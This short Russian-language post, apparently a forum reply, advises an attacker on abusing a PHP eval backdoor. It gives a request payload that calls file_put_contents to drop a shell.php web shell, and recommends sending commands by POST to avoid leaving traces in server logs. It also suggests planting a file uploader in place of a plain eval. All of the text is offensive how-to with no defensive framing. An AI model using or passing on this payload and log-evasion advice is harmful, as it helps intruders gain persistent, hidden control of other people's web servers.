ну мог бы по аналогии fileputcontens заюзать

1=&2=shell.php&cmd=file_put_contents($_GET[1],$_GET[2]);

также можно вариации с методом POST использовать, чтоб в логах не следить, да и изначально писать не просто eval($_GET[CMD]), а что-нибудь поудобнее, например аплоадер файлов.